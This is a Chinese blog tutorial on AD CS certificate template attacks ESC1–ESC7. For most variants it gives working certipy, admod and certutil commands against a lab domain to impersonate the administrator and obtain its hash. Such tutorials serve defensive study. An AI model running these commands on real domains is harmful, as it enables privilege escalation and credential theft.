ESC1-ECS7 证书模板配置错误

最新推荐文章于 2025-06-02 23:49:55 发布
最新推荐文章于 2025-06-02 23:49:55 发布
阅读量622 收藏 16
点赞数 12
文章标签： 安全 https 网络 网络安全 web安全 python ssl
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/anddddoooo/article/details/145781828
版权

系统默认配置的证书模板中，只有机器模板出现了漏洞，也就是 CVE-2022-26923，此漏洞允许我们控制申请到的证书的 Subject Alternative Name（SAN，主题备用名称扩展）值，导致此证书可以代表其他用户进行 PKINIT kerberos 身份验证。

生产场景中，也可能出现人为配置的证书模板，人为配置的模板也可能会出现漏洞，这些由模板配置错误而产生的漏洞都归类到了 ESC 系列，ESC 系列有 11 种存在漏洞的模板。

ESC1：证书模板允许请求用户在 CSR 指定 SAN

ESC1 和 CVE-2022-26923 比较相似，只不过 ESC1 是直接通过编辑 CSR 中的 SAN 值，而 CVE-2022-26923 是通过修改机器用户的 dNSHostName 属性来控制 SAN 值。

存在 ESC1 的模板属性存在 4 个如下条件：

  1. 扩展选项中包含客户端认证，以支持 PKINIT kerberos 认证。

  2. 安全选项中给域用户注册权限。

  3. 使用者名称被设置为在请求中提供。

  4. 证书模板未设置批准程序，以确保注册证书不会被挂起来等待管理员批准。

当使用请求到的证书进行 PKINIT kerberos 身份验证时，kdc 将 SAN 指定的 UPN 映射到目标用户，并返回目标用户的 tgt 和 st。

漏洞利用

  1. 查找存在漏洞的证书模板。

# 查找存在漏洞的证书模板，certipy 将有漏洞的证书记录在 txt 文件下。
certipy find -vulnerable -u deandean@HACK.com -p p-0p-0p-0 -dc-ip 192.168.72.21 -target-ip 192.168.72.21

  1. 申请 ESC1 模板证书，并指定 SAN 为管理员。

# 提供 deandean 用户账号密码，修改 SAN 为 HACK\administrator，申请证书。
certipy req -u deandean@HACK.com -p p-0p-0p-0 -dc-ip 192.168.72.21 -target-ip 192.168.72.21 -ca HACK-DC01-CA -template ESC1 -upn administrator@HACK.com
​
# 认证获得 administrator 的 hash
certipy auth -pfx administrator.pfx -dc-ip 192.168.72.21

ESC2：证书模板定义的 EKU 类型为“任何目的”或“无”

存在 ESC2 的模板属性存在如下条件：

  1. 安全选项中给域用户注册权限。

  2. 证书模板未设置批准程序，以确保注册证书不会被挂起来等待管理员批准。

  3. 证书模板定义了 “任何目的” 类型的 EKU 或 “无” 类型的 EKU。

    • “任何目的” 类型：此 EKU 指证书可以用于任何目的。

    • “无” 类型：此 EKU 指该证书没有 EKU，相当于从属 CA 的证书。

漏洞利用

  1. 查找存在漏洞的证书模板。

# 查找存在漏洞的证书模板，certipy 将有漏洞的证书记录在 txt 文件下。
certipy find -vulnerable -u deandean@HACK.com -p p-0p-0p-0 -dc-ip 192.168.72.21 -target-ip 192.168.72.21

  1. 使用 ESC2 证书给自己颁发 administrator 证书。

# 申请 ESC2 证书
certipy req -u deandean@HACK.com -p p-0p-0p-0 -dc-ip 192.168.72.21 -target-ip 192.168.72.21 -ca HACK-DC01-CA -template ESC2
​
# 使用 ESC2 证书作为从属 CA 证书，为我们颁发 administrator 证书。
certipy req -u deandean@HACK.com -p p-0p-0p-0 -dc-ip 192.168.72.21 -target-ip 192.168.72.21 -ca HACK-DC01-CA -template User -on-behalf-of "HACK\administrator" -pfx deandean.pfx
​
# 认证获得 administrator 的 hash
certipy auth -pfx administrator.pfx -dc-ip 192.168.72.21 -debug

ESC3：滥用 ”证书代理申请“ 的EKU

证书代理申请 EKU 允许一个用户或实体（代理）代表另一个用户提交证书请求。这种设置通常用于需要跨用户申请证书的场景，例如在某些自动化流程或委派场景下，管理员或服务账户可以代表普通用户申请证书。配置的话不多说，1.用户能申请。2.有证书代理申请的扩展。

漏洞利用

  1. 查找存在漏洞的证书模板。

# 查找存在漏洞的证书模板，certipy 将有漏洞的证书记录在 txt 文件下。
certipy find -vulnerable -u deandean@HACK.com -p p-0p-0p-0 -dc-ip 192.168.72.21 -target-ip 192.168.72.21

  1. 使用 ESC3 代理申请 administrator 证书。

# 申请 ESC3 模板的证书
certipy req -u deandean@HACK.com -p p-0p-0p-0 -dc-ip 192.168.72.21 -target-ip 192.168.72.21 -ca HACK-DC01-CA -template ESC3
​
# 以 ESC3 模板的证书为 administrator 用户申请证书
certipy req -u deandean@HACK.com -p p-0p-0p-0 -dc-ip 192.168.72.21 -target-ip 192.168.72.21 -ca HACK-DC01-CA -template User -on-behalf-of "HACK\administrator" -pfx deandean.pfx
​
# 认证获得 administrator 的 hash
certipy auth -pfx administrator.pfx -dc-ip 192.168.72.21 -debug

ESC4：普通用户能修改证书模板

普通用户将此证书模板修改为其他能攻击的证书模板，如：ESC1，然后使用 ESC1 的思路进行漏洞利用。

漏洞利用

  1. 通过 AdMod 在模板对象的 mspki-certificate-name-flag 属性中启用 CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT 标志，以启用使用者名称在请求中提供的设置

admod -b "CN=ESC4,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=HACK,DC=com" "msPKI-Certificate-Name-Flag::1"

  1. ESC1 漏洞利用手法。

ESC5：其他攻击手段

范围较广。

  • CA 服务器的 AD 计算机对象（即通过 S4U2Self 或 S4U2Proxy 进行攻击） 。

  • CA服务器的 RPC/DCOM 服务器 。

  • 容器中的任何子 AD 对象或容器 CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=例如， 证书模板容器、证书颁发机构容器、 NTAuthCertificates 对象、注册服务容器等）。

ESC6：CA启用 EDITF_ATTRIBUTESUBJECTALTNAME2 标志

效果与 ESC1 类似，这个标志允许请求者在所有证书上指定任意 SAN，而不管证书模板的配置。

启用此标志流程：

  1. ADCS 服务器上执行以下命令并重启 CertSvc 服务（这将在注册表项\CA_NAME>\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy 的 EditFlags 键中设置 EDITF_ATTRIBUTESUBJECTALTNAME2 值）

#设置
certutil -config "DC01.HACK.com\HACK-DC01-CA" -setreg "policy\EditFlags" +EDITF_ATTRIBUTESUBJECTALTNAME2
​
#删除
certutil -config "DC01.HACK.com\HACK-DC01-CA" -setreg "policy\EditFlags" -EDITF_ATTRIBUTESUBJECTALTNAME2

2. 查看此标志是否启用

certutil -config "DC01.HACK.com\HACK-DC01-CA" -getreg "policy\EditFlags"

3. 漏洞利用（和 ESC1 一样）。

ESC7：攻击者提权到了 CA 管理员

  • CA 管理员具有 “管理 CA” 的权限，可以启用任意的证书模板。

  • 证书管理员具有 ”颁发和管理证书“ 的权限，可以针对任意的证书请求进行允许或拒绝。

漏洞利用：

  1. 以 CA 管理员权限启用 子从属 CA 的证书模板，此模板如果对外开放将造成 ESC2 和 ESC3 攻击。

  2. 以证书管理员权限针对普通域用户申请的注册进行允许（默认域用户申请 子从属 CA 证书模板 不被允许）

# 现在 deandean 是 CA 管理员
​
# 将 deandean 添加到证书管理员以允许管理证书
certipy ca -u deandean@HACK.com -p p-0p-0p-0 -dc-ip 192.168.72.21 -target-ip 192.168.72.21 -ca HACK-DC01-CA -add-officer deandean
​
# 启用子从属 CA 的证书模板
certipy ca -u deandean@HACK.com -p p-0p-0p-0 -dc-ip 192.168.72.21 -target-ip 192.168.72.21 -ca HACK-DC01-CA -enable-template SubCA
​
# 申请 SubCA 模板证书
certipy req -u deandean@HACK.com -p p-0p-0p-0 -dc-ip 192.168.72.21 -target-ip 192.168.72.21 -ca HACK-DC01-CA -template SubCA
​
# 以 SubCA 模板的证书为 administrator 用户申请证书
certipy req -u deandean@HACK.com -p p-0p-0p-0 -dc-ip 192.168.72.21 -target-ip 192.168.72.21 -ca HACK-DC01-CA -template User -on-behalf-of "HACK\administrator" -pfx deandean.pfx
​
# 如果证书被挂起，处理挂起的证书
certipy ca -u deandean@HACK.com -p p-0p-0p-0 -dc-ip 192.168.72.21 -target-ip 192.168.72.21 -ca HACK-DC01-CA -issue-request [请求id]
certipy ca -u deandean@HACK.com -p p-0p-0p-0 -dc-ip 192.168.72.21 -target-ip 192.168.72.21 -ca HACK-DC01-CA -retrieve [请求id]
​
certipy auth -pfx administrator.pfx -dc-ip 192.168.72.21

Lil_Dean
关注
ADCS攻击系列【ESC1-8】详解
总有人间一两风，填我十万八千梦
09-11 643
ADCS（Active Directory Certificate Services），是微软提供的一套证书服务解决方案，用于实现公钥基础结构（PKI）的功能，包括证书的产生、管理、存储、分发和撤销等。ADCS能够与现有的Active Directory Domain Services（ADDS）服务结合，用于加密文件系统、数字签名以及身份验证等多种安全应用场景。在ADCS中，证书颁发机构（CA）扮演着核心角色，负责接收证书申请、验证申请者信息、颁发证书以及管理证书的吊销等。
ADCS ESC1+ESC4+CVE-2022–26923
问题很多的小明
06-27 628
ADCS域渗透相关
域渗透笔记-ADCS 域提权-ESC1
NoooEmotion的博客
02-02 2534
AD CS(Active Directory 证书服务)中的企业CA使用证书模板定义设置颁发证书，这些证书模板是注册策略和预定义证书设置的集合，并包含诸如此证书的有效期是多长?、证书的用途是什么?、主题是如何指定的?、谁可以申请证书?，以及无数其他设置。证书模板有一组特定的设置，这使得它们非常容易受到攻击。
ADCS攻击之证书模板配置错误 ESC1
Adminxe的博客
03-05 1200
表示允许 Active Directory 中任何经过身份验证的用户请求基于此证书模板生成的新证书。表示将基于此证书模板生成的证书可用于对 Active Directory 中的计算机进行身份验证。表示基于此证书模板申请新证书的用户可以为其他用户申请证书，即任何用户，包括域管理员用户。注：将生成的cert.pem先保存到txt,然后重命名为cert.pem。pem转换pfx证书,直接回车，不需要输入密码，申请TGT票据。右键复制工作站身份认证模板，做一些修改。认证后的用户/域用户随便勾一个就行了。
ADCS攻击利用
slash_HK的博客
12-23 4920
一万字呕心沥血，全站最详细ADCS攻击利用方法及细节复现，包括服务器配置等，细节满满，支持走一波，也欢迎各位师傅斧正。
ADCS攻击之NTLM Relay攻击 ESC8
Adminxe的博客
03-05 857
ADCS在默认安装的时候，其Web接口支持NTLM身份验证并且没有启用任何NTLM Relay保护措施。强制域控制器计算机帐户(DC$)向配置了NTLM中继的主机进行身份验证。身份验证被转发给证书颁发机构(CA)并提出对证书的请求。获取到了DC$的证书后就可以为用户/机器请求TGS/TGT票据，获取相应的权限。curl-I。
ADCS-ESC1漏洞环境构造与利用
信息安全
02-24 1522
在 ESC1 漏洞利用中，攻击者通过一系列操作获取包含域管身份信息的证书后，利用 Rubeus.exe 工具，使用该证书获取 TGT 票据。：开启 CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT 标志，此标志允许通过_CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT_声明自身身份，从而实现伪装成域管理员的目的，这是 ESC1 攻击得以实施的关键步骤。：证书具备身份验证功能，例如登记为客户端身份验证，只要证书存在用于验证的相关功能，即可满足该攻击条件。
【安全】VulnHub靶场 - W1R3S
最新发布
风舞雪凌月的博客
06-02 477
本文记录了对W1R3S.inc服务器的渗透测试过程。通过扫描发现靶机开放21(FTP)、22(SSH)、80(HTTP)、3306(MySQL)端口，其中FTP存在匿名登录漏洞，获取到包含潜在密码线索的文档。Web服务发现Apache默认页面及Cuppa CMS安装界面，同时存在WordPress目录但访问受限。测试人员尝试了SSH和MySQL的弱口令爆破未果，后续将重点利用FTP获取的信息和Web应用漏洞进行深入渗透，最终目标是获取root权限并找到/root目录下的flag。测试过程展示了从信息收集到漏
数据分类分级的实践与反思：源自数据分析、治理与安全交叉视角的洞察
u010872591的博客
05-30 780
但若缺乏对两者特性与适用场景的深刻理解，以及精细化的融合策略设计（例如，如何有效仲裁规则与模型的冲突、如何实现两者间的知识迁移与能力互补），这种融合易陷入“简单叠加”的误区，可能导致系统复杂性剧增，可解释性与可控性下降，最终并未带来预期的价值提升。这一现象可能在许多类似规模的场景中复现。：基于向量空间相似度进行语义理解与判定，虽然在某些场景下表现出优势，但对于细粒度的行业专业术语、隐晦的业务逻辑关联以及跨领域、弱结构化的数据内容，其识别的精确度和稳定性仍有较大提升空间，甚至可能不如经过精细调优的传统规则。
Spring Security安全实践指南
静水深流
06-01 855
本文探讨了应用程序安全性的核心价值和Spring Security的架构基础。安全性需要根据数据敏感度分级实施，漏洞会导致多维损失（经济、信誉、法律）。通过典型案例分析，论证了防御投入远低于漏洞修复成本。Spring Security采用过滤器链和认证管理器架构，支持密码编码器演进和最小权限原则，提供表单登录与HTTP Basic等认证方式。系统设计应遵循"默认拒绝"原则，通过分层防护保障关键系统安全。
联软SDP+安渡：收敛暴露面 从生产网自动取数 安全高效
leagsoft_1003的博客
05-28 1392
制造业网络安全面临网络隔离与数据流通的矛盾。为解决供应商跨网协作中的安全风险和管理痛点，联软推出安渡SDP解决方案：通过专用加密隧道实现安全访问，采用IP协议栈隔离、数据指令分离等创新技术，在不开放网络端口的情况下完成自动化数据摆渡。该方案既保障了文件传输的安全性，又提高了办公效率，实现了网络安全防护与业务便捷性的统一。典型应用于BOM系统审批后的图纸自动传输场景，有效规避U盘拷贝、即时通讯等传统方式的安全隐患。
变焦位移计：机器视觉如何克服人工疲劳与主观影响？精准对结构安全实时监测
weixin_43963569的博客
05-30 1177
摘要： 变焦视觉位移监测相比传统人工监测具有显著优势。在精度上，自动化监测可达0.01mm，而人工监测受主观影响，精度仅几毫米。自动化可实现24小时高频监测，人工则耗时且滞后。自动化数据实时上传，真实可靠；人工数据易受人为干预。虽然自动化前期投入高，但长期成本效益更优。自动化监测在连续性、数据呈现等方面也优于人工监测。尽管人工监测在特定场景仍有价值，但自动化监测已成为行业发展趋势。
DeepSeek模型安全部署与对抗防御全攻略
Programming Talk
06-02 240
DeepSeek模型的安全防护需要构建从输入到输出的全链路防御体系。本文介绍的方案已在金融、政务等领域验证，可有效拦截99%以上的常见攻击。建议企业建立持续的安全演练机制，定期更新防护规则库，特别要关注新兴的对抗攻击技术。随着DeepSeek模型能力的演进，安全防护策略也需要同步升级，建议关注OWASP AI Security等权威指南获取最新防护方案。
Google car key：安全、便捷的汽车解锁新选择
2401_86745636的博客
05-30 547
对于支持NFC的Android手机，您需要将手机贴近车门把手才能完成解锁/上锁操作，启动车辆时也需将手机放置在指定感应区。而采用UWB技术的体验则更为智能：只需随身携带支持UWB的手机即可实现"无感操作"——靠近车辆时自动解锁，离开时自动上锁，进入车内后无需任何操作就能直接启动引擎，整个过程完全无需掏出手机。此时只需将设备贴近车门的NFC读取器，即可完成车辆解锁与启动操作。Google car key作为一项创新的汽车解锁技术，通过兼容的Android手机与特定车型的集成，实现了手机作为车钥匙的便捷功能。
NodeJS全栈开发面试题讲解——P6安全与鉴权
kennyharris
06-01 557
编号问题要点简述6.1SQL/XSS/CSRF 防护ORM 防注入、DOM转义防 XSS、CSRF Token + SameSite6.2JWT 签发与校验签名加密、有效期、对称/非对称加密、避免暴露密钥6.3登录暴破防护bcrypt 加密、IP 限制、验证码、行为识别6.4文件上传安全检查 MIME 类型、文件大小、存储路径唯一、过滤木马6.5密码加密算法选择推荐 bcrypt / argon2，使用盐值，严禁存储明文密码。
解决访问网站提示“405 很抱歉，由于您访问的URL有可能对网站造成安全威胁，您的访问被阻断”问题
CoffeMilk的博客
05-30 503
我们访问网站的时候会显示“405 很抱歉，由于您访问的URL有可能对网站造成安全威胁，您的访问被阻断。您的请求ID是：XXXX”，而不能正常的访问网站
从法律层面剖析危化品证书：两证一证背后的安全逻辑
renrenti的博客
05-29 409
证书分类中暗藏法律玄机，负责人证对应《生产经营单位安全培训规定》第 7 条，要求掌握 “本单位安全生产责任制建立及落实”；两者构成了完整的安全管理法律链条，让决策层具备战略思维，执行层具备实操能力。在某危化品仓库爆炸事故中，由于负责人未持证，导致事故责任升级，企业法人被追究刑事责任。特别提醒，经营许可证与安全员证是 “双生证件”，根据《危险化学品经营许可证管理办法》，缺少任一证书都将面临 5-10 万元的罚款。去年，某涂料公司因证书不全，不仅被吊销了执照，法人还被列入了安全生产失信名单。
如何给老旧 iOS App 添加安全保护？用 Ipa Guard 对 IPA 文件混淆加固实录
2501_91510632的博客
05-29 1196
摘要：本文分享了在没有源码的情况下，如何为老旧iOS应用添加安全防护的经验。作者面对一个仅有IPA文件的五年老项目，使用Ipa Guard工具实现了类名、方法名和资源的自动混淆，在10分钟内完成处理并保持功能完整。通过对比分析，混淆后的应用在类名识别度、资源命名、安全加固等方面效果显著提升。文章指出，对无法修改源码的老项目，采用专业混淆工具是快速提升安全性的有效方案，为类似场景提供了实用解决方案。（149字）
Spring Security入门：创建第一个安全REST端点项目
静水深流
06-02 965
本文介绍了Spring Boot项目初始化与基础配置过程，重点解析了Spring Security的HTTP Basic认证机制。通过创建示例项目，展示了如何配置默认安全设置、创建测试端点并验证授权访问。文章详细剖析了HTTP Basic认证原理，包括cURL工具的使用、Base64凭证生成以及401/403状态码的区别。同时深入讲解了Spring Security核心架构，包括认证过滤器的工作流程和UserDetailsService的默认实现特性。最后强调生产环境中必须配合HTTPS使用HTTP Bas
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值